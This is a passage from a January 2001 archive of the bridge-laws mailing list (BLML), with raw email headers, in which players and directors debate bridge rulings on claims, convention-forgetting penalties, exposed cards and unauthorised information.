Amen,  Kojak --part1_1e.10014d60.2795a82e_boundary-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 00:38:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GDcoT09457 for bridge-laws-outgoing; Wed, 17 Jan 2001 00:38:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cobalt5-fe.global.net.uk (cobalt5-fe.global.net.uk [195.147.250.165]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GDcgt09412 for ; Wed, 17 Jan 2001 00:38:42 +1100 (EST) Received: from p1ds02a10.client.global.net.uk ([195.147.114.30] helo=pacific) by cobalt5-fe.global.net.uk with smtp (Exim 2.12 #1) id 14IWFF-0006Cy-00; Tue, 16 Jan 2001 13:33:53 +0000 Message-ID: <000a01c07fc1$9638e2a0$1e7293c3@pacific> From: "Grattan Endicott" To: "Gelders Hans" , "Herman De Wael" , "Bridge Laws" References: <003401c07e52$6d10a7c0$33daa2c3@upc.chello.be> <3A62BF2F.37107955@village.uunet.be> <000f01c07ef0$1c92afc0$33daa2c3@upc.chello.be> Subject: Re: [BLML] Your opinion pls. Date: Tue, 16 Jan 2001 13:35:52 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott ----- Original Message ----- From: Gelders Hans To: Herman De Wael ; Bridge Laws Sent: 15 January 2001 12:38 Subject: Re: [BLML] Your opinion pls. > Hi, > > Do you call me a liar Herman? Another small piece of embellishment? > > There were quite a number of people kibitzing at my side of > the screen. You know them almost all, I think. Please inform yourself > decently before making such idiot remarks. > etc etc etc etc .................... +=+ Leave off Hans. You made your case. That was enough. Now you are only making people bored and irritated with the way you are going on. If you did not appeal the ruling nothing is going to change it now. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 02:24:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GFNAI16728 for bridge-laws-outgoing; Wed, 17 Jan 2001 02:23:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-0.nyroc.rr.com [24.92.226.118]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GFN3t16694 for ; Wed, 17 Jan 2001 02:23:04 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0GFJFe22765 for ; Tue, 16 Jan 2001 10:19:16 -0500 (EST) Mime-Version: 1.0 X-Sender: ereppert@pop-server.rochester.rr.com Message-Id: In-Reply-To: References: Date: Tue, 16 Jan 2001 10:22:40 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] Claim: Correct Procedure Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >I asked a question about claims, and received three answers: Adam Beneschen wrote: >it may be that the defenders are permitted to examine each >others' hands simply by the absence of any Law to the contrary being >in effect. Marv French wrote: L70B3: The Director then hears the opponents' objections to the claim. Now, can they consult about their objections, helping each other to find a line of play that invalidates the claim? That would be the inevitable conclusion, since one partner can state an objection, the other can modify it, the first remodify, etc., until a line is found. "Objections" isn't limited to one objection per player. David Stevenson was considerably less charitable, saying: > It does not matter whether it is correct or not. If a defender would >contest this claim if his partner had the spade king then he contests >the claim. > > You may be right that he has no right to inspect his partner's hand >but no-one would ever get a ruling based on it, and I would probably hit >declarer with a DP if he tried it. I thank the first two respondents. As for David, well, let me now simply say what I will do. 1. When I as declarer believe I know how the hand will play out, I will face my cards, and (attempt to) state a line of play. I say "attempt to" because nine times out of ten some idiot starts in with "you can't do that!" or "play it out" or some other bullshit interruption. 2. At that point, I will call the TD and let him sort it out. If opponents have not allowed me to state a line of play, I will so inform the TD. It seems to me, David, that if I follow this procedure, the question whether opponents "have a right" to examine each others' hands will be moot. Am I wrong? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmRnU72UW3au93vOEQJEGQCcDL70QCNYsxrVKyUNkQS171+VUsoAoKmd pzQHbImyzQ3BwS5fSQ32Vaul =Slju -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 03:07:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GG77702299 for bridge-laws-outgoing; Wed, 17 Jan 2001 03:07:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GG70t02268 for ; Wed, 17 Jan 2001 03:07:00 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id LAA08691 for ; Tue, 16 Jan 2001 11:06:56 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id LAA11963 for bridge-laws@rgb.anu.edu.au; Tue, 16 Jan 2001 11:06:55 -0500 (EST) Date: Tue, 16 Jan 2001 11:06:55 -0500 (EST) From: Steve Willner Message-Id: <200101161606.LAA11963@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Automatic Penalties for Forgetting System X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk SW>While I don't necessarily advocate any changes, changing the standard SW>of proof seems to make a lot more sense than automatic penalties. > From: David Stevenson > Let us see where that leads. > > A pair is playing SAYC in their own club. They have a CC [yes, a CC > in a club!]. Because they do not have two CCs you automatically rule > against them, yes? If the standard is "clear and convincing evidence," I think you would have to take more testimony. Maybe they are a long-time partnership with a clear agreement, which they can document by other means. But if they are a first-time partnership with only one CC, or if there is no more evidence, then I agree that the ruling would go against them. If the standard is "beyond reasonable doubt," I think the absence of a second CC would make it very hard to rule in their favor. Reasonable people can differ on whether or not the outcomes above are desirable. As I noted, I'm not taking a position. I do think either outcome is better than an automatic penalty. Even under the current standard, "preponderance of the evidence," I hope you will not automatically rule that a CC documents the true agreement. Perhaps one player filled out the CC, but the other never looked at it or looked but failed to see the notation in question. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 04:13:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GHCwN07301 for bridge-laws-outgoing; Wed, 17 Jan 2001 04:12:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from freenet.carleton.ca (freenet1.carleton.ca [134.117.136.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GHCqt07297 for ; Wed, 17 Jan 2001 04:12:53 +1100 (EST) Received: from freenet10.carleton.ca (freenet10 [134.117.136.30]) by freenet.carleton.ca (8.9.3+Sun/8.9.3/NCF_f1_v3.00) with ESMTP id MAA07485 for ; Tue, 16 Jan 2001 12:12:43 -0500 (EST) Received: (ac342@localhost) by freenet10.carleton.ca (8.9.3+Sun/NCF-Sun-Client) id MAA19018; Tue, 16 Jan 2001 12:12:43 -0500 (EST) Date: Tue, 16 Jan 2001 12:12:43 -0500 (EST) Message-Id: <200101161712.MAA19018@freenet10.carleton.ca> From: ac342@freenet.carleton.ca (A. L. Edwards) To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Automatic Penalties for Forgetting System Reply-To: ac342@freenet.carleton.ca Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > >SW>While I don't necessarily advocate any changes, changing the standard >SW>of proof seems to make a lot more sense than automatic penalties. > >> From: David Stevenson >> Let us see where that leads. >> >> A pair is playing SAYC in their own club. They have a CC [yes, a CC >> in a club!]. Because they do not have two CCs you automatically rule >> against them, yes? > >If the standard is "clear and convincing evidence," I think you would >have to take more testimony. Maybe they are a long-time partnership >with a clear agreement, which they can document by other means. But if >they are a first-time partnership with only one CC, or if there is no >more evidence, then I agree that the ruling would go against them. > >If the standard is "beyond reasonable doubt," I think the absence of a >second CC would make it very hard to rule in their favor. > >Reasonable people can differ on whether or not the outcomes above are >desirable. As I noted, I'm not taking a position. I do think either >outcome is better than an automatic penalty. > >Even under the current standard, "preponderance of the evidence," I >hope you will not automatically rule that a CC documents the true >agreement. Perhaps one player filled out the CC, but the other never >looked at it or looked but failed to see the notation in question. >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > This was published in the ACBL Bulletin. I previously mentioned it on BLML. Tony (aka ac342) ACBL Bridge Bulletin, April 1998, p.87: Fixing the Fixers Remember the time an opponent forgot a convention and "fixed" you? Remember the time you forgot a convention and "fixed" yourself? That doesn't happen much these days at the Victoria Duplicate Bridge Club in Victoria BC--not since club manager Mike Ayer instituted his "strike two rule" about eight months ago. You are allowed one "forget" of a convention. A second forget means you and partner may not play any Alertable bid the rest of the session. "I have very few complaints about people forgetting their system.", said Ayer. "People seem a lot happier." [published without permission, and with apologies] This was in a section called "Here's the Latest about Clubs". It is devoted to what various ACBL clubs are doing and showcases interesting events, ideas and players. As such, I "presume" the ACBL agrees with these ideas. There is no disclaimer otherwise, and I assume (yes, yes, "ass" of "me" and "you") that it has been edited for content. Am I the only one who is uncomfortable with this policy? It seems quite illegal. The ACBL policy towards conventions in clubs is that the individual club can permit/forbid any convention it wants to in their own games. However, I cannot find anywhere in the Laws where a pair can be effectively forced to change systems in mid-session. Nor have I found a law which bans a pair from using a convention which is otherwise permitted to the rest of the contestants. It seems to me that if a club wishes to limit the use of conventions, this policy should apply to all the players, and not just to those who may be less experienced or more forgetful. Bridge is, after all, a game of mistakes; I do not need Big Brother to protect me from an opponent who is about to fall on his sword--even if that "opponent" happens to be me! Please comment on the legality and practicality of this policy. Tony (aka ac342) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 05:09:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GI9IP11335 for bridge-laws-outgoing; Wed, 17 Jan 2001 05:09:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GI9Bt11296 for ; Wed, 17 Jan 2001 05:09:12 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id KAA09097; Tue, 16 Jan 2001 10:09:08 -0800 Message-Id: <200101161809.KAA09097@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Automatic Penalties for Forgetting System In-Reply-To: Your message of "Tue, 16 Jan 2001 12:12:43 EST." <200101161712.MAA19018@freenet10.carleton.ca> Date: Tue, 16 Jan 2001 10:09:07 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tony Edwards wrote: > This was published in the ACBL Bulletin. I previously mentioned it > on BLML. > Tony (aka ac342) > ACBL Bridge Bulletin, April 1998, p.87: > Fixing the Fixers > Remember the time an opponent forgot a > convention and "fixed" you? Remember the > time you forgot a convention and "fixed" > yourself? > That doesn't happen much these days at > the Victoria Duplicate Bridge Club in > Victoria BC--not since club manager Mike > Ayer instituted his "strike two rule" about > eight months ago. > You are allowed one "forget" of a convention. > A second forget means you and partner may not > play any Alertable bid the rest of the session. > "I have very few complaints about people > forgetting their system.", said Ayer. "People > seem a lot happier." [published without > permission, and with apologies] Previously, when I've quoted stuff from the ACBL Bulletin, I've searched for a copyright notice but failed to find any (except on some specific articles that are copyrighted by their authors). I haven't looked lately, however. > This was in a section called "Here's the Latest about > Clubs". It is devoted to what various ACBL clubs are > doing and showcases interesting events, ideas and players. > As such, I "presume" the ACBL agrees with these ideas. > There is no disclaimer otherwise, and I assume (yes, yes, > "ass" of "me" and "you") that it has been edited for > content. > Am I the only one who is uncomfortable with this policy? > It seems quite illegal. The ACBL policy towards conventions > in clubs is that the individual club can permit/forbid any > convention it wants to in their own games. However, I > cannot find anywhere in the Laws where a pair can be > effectively forced to change systems in mid-session. Nor > have I found a law which bans a pair from using a convention > which is otherwise permitted to the rest of the contestants. > It seems to me that if a club wishes to limit the use > of conventions, this policy should apply to all the > players, and not just to those who may be less experienced > or more forgetful. Bridge is, after all, a game of mistakes; > I do not need Big Brother to protect me from an opponent > who is about to fall on his sword--even if that "opponent" > happens to be me! > Please comment on the legality and practicality of this policy. I think it's partly legal. The problem with Victoria's rule is that the penalty is "you and partner may not play any Alertable bid the rest of the session"; and Alertable bids in the ACBL include both conventions and many calls that are not conventional. Calls that are not conventional, other than super-light openings, may not be prohibited by SO's (L40D). However, the right to regulate conventions in L40D is very broad: "The sponsoring organization may regulate the use of bidding or play conventions." That's all the Law says about this. Taken literally, I suppose this means that any rule for regulating conventions is permitted by this Law. So in theory, you could make a rule that certain conventions could be played only by East-West pairs, or only by close relatives of the Director, or only on odd-numbered boards, or only by players who pay the Director $50 for the privilege of using the convention (TD's who aren't paid enough for all their hard work, please take note), and none of this would violate the Laws, as far as I can tell. So if Victoria wants to say that pairs who forget conventions twice are prohibited from playing *conventions* for the rest of the session, I don't see anything in the Laws to make such a rule illegal. In fact, I don't see anything particularly unfair about it, either. The same rule applies to everyone, and if this rule is going to be more difficult for some players to follow than others, well, that's true of other rules, too. (For example, rules that specify a time limit for playing a round are easier for fast thinkers to follow than slower thinkers. Is that unfair?) As for whether this policy is practical: it seems to be practical at the Victoria DBC. It won't be practical everywhere. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 06:01:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GJ1DG29712 for bridge-laws-outgoing; Wed, 17 Jan 2001 06:01:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtppop1pub.verizon.net (smtppop1pub.gte.net [206.46.170.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GJ16t29673 for ; Wed, 17 Jan 2001 06:01:07 +1100 (EST) Received: from mike (1Cust120.tnt1.bellingham.wa.da.uu.net [63.28.105.120]) by smtppop1pub.verizon.net with ESMTP for ; id MAA40904070 Tue, 16 Jan 2001 12:55:08 -0600 (CST) Message-ID: <000001c07ff0$56b8bcc0$0b00000a@mike> Reply-To: "Mike Dodson" From: "Mike Dodson" To: References: <4A2569D5.0014B672.00@immcbrn1.immi.gov.au> Subject: Re: [BLML] Dummy sees exposed card Date: Mon, 15 Jan 2001 13:04:06 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: Subject: Re: [BLML] Dummy sees exposed card > > > The only relevant Law on whether the card is exposed > is L49 - which states that the test is whether offender's > partner "could have seen" the exposed card. It is > immaterial whether declarer, dummy or offender's > partner actually saw the card. > > L72B3 gives the offending side the right not to call > attention to their inadvertant irregularity. > > L42A1(a) prohibits dummy from summoning the TD > during the play of the hand (unless one of the other > three players first calls attention to an irregularity). > > A breach of L49 usually results in an application of the > penalty card procedures of L50. Given that dummy > could not summon the TD until the end of play, L50 > cannot apply. The TD may still give redress under > L12A1 and/or apply a PP to the offending side under > L90B7. > Do we adjust under 12a1 as if Declarer had the benefit of L50 or must we look for some possible advantage that might have been gain by offender's partner? Did declarer lose rights because he didn't see the infraction? Did he lose rights because he didn't call the director at the time? A PP under 90b7 for dropping a card? If an adjusted score is assigned, that should address the problem, otherwise no adjustment==no 90b7. Assigning an adjusted score equal to the table result so a PP may be imposed is the kind of sophistry used by dispised lawyers (bridge and others). Mike Dodson -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 06:02:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GJ1ue29939 for bridge-laws-outgoing; Wed, 17 Jan 2001 06:01:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GJ1lt29905 for ; Wed, 17 Jan 2001 06:01:48 +1100 (EST) Received: from dodona (host62-6-73-141.dialup.lineone.co.uk [62.6.73.141]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id TAA26266; Tue, 16 Jan 2001 19:01:09 GMT Message-ID: <001001c07fee$f7e07400$8d49063e@dodona> From: "Grattan Endicott" To: "Gelders Hans" , References: <003401c07e52$6d10a7c0$33daa2c3@upc.chello.be> Subject: Re: [BLML] Your opinion pls. Date: Tue, 16 Jan 2001 09:51:11 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: Gelders Hans To: Sent: Sunday, January 14, 2001 5:50 PM Subject: [BLML] Your opinion pls. > >. The TD did not agree and did not change the score. When we > asked why he explained that there were two reasons. > 1. I need to pass to have still some rights, I lost my rights > by taking away my bidding cards. That my RHO had > influenced me by taking his bidding cards (before me) > was of no importance. > 2. My partner (or I) had to call the TD before > dummy hit the table. > I was very much surprised by these explanations. > +=+ So am I. +=+ > > Everybody knows that the bidding laws are a complete > mess ( the many different points of view in this group > tell it all). Nevertheless some common sense can not > be asked too much. > +=+ You allow your sense of injustice to overcome a proper restraint in what you say. It is not the case that the laws are 'a complete mess'; taken with the official interpretations given to TDs they provide a practical basis for controlling the game. That much said you will not find a single member of the WBF Laws Committee who does not agree that there is scope for their improvement, especially in the clarity of expression - some would say considerable scope - and I have for the drafting sub- committee numbers of suggestions from a variety of sources. The decennial General Review of the laws is now in its initial stages. Returning to the explanations that surprised you I would merely note that one of the duties of the TD is (Law 81C6) "to rectify any error or irregularity of which he becomes aware in any manner, within the correction period established in accordance with Law 79C." Of course a delay in calling the TD can affect his ability to establish facts; any further action taken may alter the situation in law, but the Director cannot simply dismiss the occurrence on the grounds alone that the delay has cost you all your rights. ~ Grattan ~ +=+ You do not say whether you took the ruling to appeal; you should have done so before starting to howl about it on blml. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 07:43:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GKeNr06390 for bridge-laws-outgoing; Wed, 17 Jan 2001 07:40:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GKeHt06386 for ; Wed, 17 Jan 2001 07:40:17 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id PAA03027 for ; Tue, 16 Jan 2001 15:40:14 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id PAA12472 for bridge-laws@rgb.anu.edu.au; Tue, 16 Jan 2001 15:40:13 -0500 (EST) Date: Tue, 16 Jan 2001 15:40:13 -0500 (EST) From: Steve Willner Message-Id: <200101162040.PAA12472@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: David Stevenson > I too am having difficulty proving > that a Law has been broken when a player deliberately looks at hand > records in advance. The problem with L6D1 is that it must be "ascertained before the auction begins" that someone has looked at hand records. I think the law should apply when the 'seeing' is before the auction begins, but as the text is written, it's the 'ascertaining' that matters. Unlike some other BLML'ists, I am sure that seeing the hand records is the same as seeing "the face of a card." If not, what if the game is played on computers or otherwise without the usual pieces of cardboard? Perhaps the drafters might consider rewording in the next edition of the Laws. Something like "becomes aware of the identity of any card held by another player" might do it, although this is cumbersome (and still not quite right, I think). On looking at L6D1, though, I'm not sure I understand it. Suppose a card is accidentally turned face up during the initial shuffling. Clearly we redeal, L6D1, no problem. But what happens if, on a later round, a player turns a card face up as he is removing his cards from the board? Or if you want to be technical, exposes it in such a way that other players can see it but he himself cannot? The auction period has not begun (L17A), so it would seem that 6D1 still applies. But it doesn't seem right to reshuffle after the board has already been played. What am I missing? -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 09:24:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GMO3c06521 for bridge-laws-outgoing; Wed, 17 Jan 2001 09:24:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from inet-smtp4.oracle.com (inet-smtp4.oracle.com [209.246.15.58]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GMNvt06517 for ; Wed, 17 Jan 2001 09:23:57 +1100 (EST) Received: from gmgw01.oraclecorp.com (gmgw01.us.oracle.com [130.35.61.190]) by inet-smtp4.oracle.com (8.9.3/8.9.3) with ESMTP id OAA09942 for ; Tue, 16 Jan 2001 14:23:53 -0800 (PST) Received: from oracle.com (dhcp-4op11-4op12-west-130-35-178-15.us.oracle.com [130.35.178.15]) by gmgw01.oraclecorp.com (8.8.8+Sun/8.8.8) with ESMTP id OAA26566 for ; Tue, 16 Jan 2001 14:23:52 -0800 (PST) Message-ID: <3A64C9A9.47EDC7F1@oracle.com> Date: Tue, 16 Jan 2001 14:22:34 -0800 From: Jim Boyce Organization: Oracle Corporation X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: bridge-laws@rgb.anu.edu.au Subject: organization of laws [was Re: Illicit information [was: Re: [BLML] What is suggested ?]] References: <200101162040.PAA12472@cfa183.harvard.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner wrote: ... > Unlike some other BLML'ists, I am sure that seeing the hand records is > the same as seeing "the face of a card." If not, what if the game is > played on computers or otherwise without the usual pieces of > cardboard? Perhaps the drafters might consider rewording in the next > edition of the Laws. Something like "becomes aware of the identity of > any card held by another player" might do it, although this is > cumbersome (and still not quite right, I think). ... This is a convenient hook for a message I have intended to write for quite some time. When I look at the Laws of Duplicate Contract Bridge, I feel like I am actually looking at the Laws of Duplicate Contract Bridge, played in person at a table with cards and spoken bidding. Or perhaps it is the Laws of Duplicate Contract Bridge, with regulations for using cards and spoken bidding. I would be happier with the organization of the Laws if parts of it were moved elsewhere and labeled as regulations. Just as there are regulations governing the use of bidding cards, there should be regulations (not laws) governing spoken bidding. The laws should not describe how to deal the cards. There should be different sets of regulations for different circumstances. The cards are allocated in a different manner when playing over a computer, as opposed to using "computer-dealt" cards with hand-records, as opposed to physically shuffling and dealing at the beginning of the session. The time when a card is played is defined differently when playing over a computer network, as opposed to playing with cards, face-to-face. The sponsoring organization for a particular event should choose the sets of regulations that are appropriate. There was a time when it made good sense for the Laws themselves to include descriptions of the spoken bidding and the use of physical cards; that was the only way that bridge was played. However, times have changed. Some of the situations I have seen described on BLML have seemed to me to problems only because someone was looking in the Laws for a ruling rather than in the appropriate set of regulations. Issues involving correcting errors with bidding cards come to mind. Someone asked what Laws are violated when someone looks at hand records before playing a hand. My answer wouild be that the Laws do not mention hand records. He is not immediately in voilation of a Law. However, I hope that the SO's regulations concerning hand records are complete. Later, when he plays such a hand, he is in possession of vast amounts of Unauthorized Information which would constrain his choices so much that the hand is probably legally not playable. In the original hypothetical question, the player intentionally obtained the hand records. There have been occasions when computer-dealt hands have been re-used, and one or more players has recognized the set of deals. -jim -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 09:26:43 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GMQaW06535 for bridge-laws-outgoing; Wed, 17 Jan 2001 09:26:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from rhea.worldonline.nl (rhea.worldonline.nl [195.241.48.139]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GMQUt06531 for ; Wed, 17 Jan 2001 09:26:31 +1100 (EST) Received: from kooijman (vp180-185.worldonline.nl [195.241.180.185]) by rhea.worldonline.nl (Postfix) with SMTP id 6642436BD1; Tue, 16 Jan 2001 23:26:25 +0100 (MET) Message-ID: <004a01c0800b$79f3f2c0$b9b4f1c3@kooijman> From: "ton kooijman" To: , , Subject: Re: [BLML] Let's get back to the easy stuff Date: Tue, 16 Jan 2001 21:13:19 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0022_01C08001.266BDE60" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0022_01C08001.266BDE60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable In a message dated 1/15/01 5:52:28 PM Eastern Standard Time, = adam@irvine.com=20 writes:=20 =20 =20 =20 I think the answer to David's question is that since, at the = time of=20 North's irregularity, North knows absolutely nothing about = South's=20 hand except for the fact that it contains 13 cards, Law 72B1 = cannot=20 apply. Thus there are no constraints on North's bidding.=20 =20 -- Adam=20 =20 =20 =20 =20 Amen, Kojak=20 I have read some better answers, but I do not have any religion.=20 ton ------=_NextPart_000_0022_01C08001.266BDE60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
In a message dated 1/15/01 = 5:52:28 PM=20 Eastern Standard Time, adam@irvine.com=20
writes:


I think the answer to David's question is that since, = at the=20 time of
North's irregularity, North knows absolutely nothing = about=20 South's
